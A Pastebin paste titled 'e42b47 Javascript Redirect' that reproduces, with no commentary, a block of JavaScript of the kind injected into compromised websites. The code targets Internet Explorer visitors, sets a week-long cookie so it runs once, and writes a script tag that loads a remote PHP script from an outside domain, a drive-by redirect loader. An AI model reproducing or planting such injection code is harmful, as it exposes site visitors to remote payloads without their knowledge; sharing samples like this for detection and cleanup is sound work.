SHARE
TWEET

e42b47 Javascript Redirect

scurit Jan 15th, 2014 45 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*e42b47*/
  2. 580:func​tion getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = un​escape (cookie.substring(offset, end)); } } return setStr;}
  3. 581:if (navigator.userAgent.indexOf("MSIE") != -1){if(navigator.cookieEnabled == true) {var user930 = getCookie("cucu09");if (user930 !=="cucu"){setCookie("cucu09", "cucu", 7, "/"); cookiecu09cu();}}} func​tion cookiecu09cu(){ doc​ument.write ("< sc​ript src=' http://accumedingenieria.com/vzqKxbmQ.php?id=128616873 ' type='text/javascript'> < /" + " sc​ript > ");}
  4. 582:func​tion setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");}
  5. 583:/*/e42b47*/
RAW Paste Data
Want to get better at JavaScript?
Learn to code JavaScript in 2017
Pastebin PRO Summer Special!
Get 40% OFF on Pastebin PRO accounts!
Top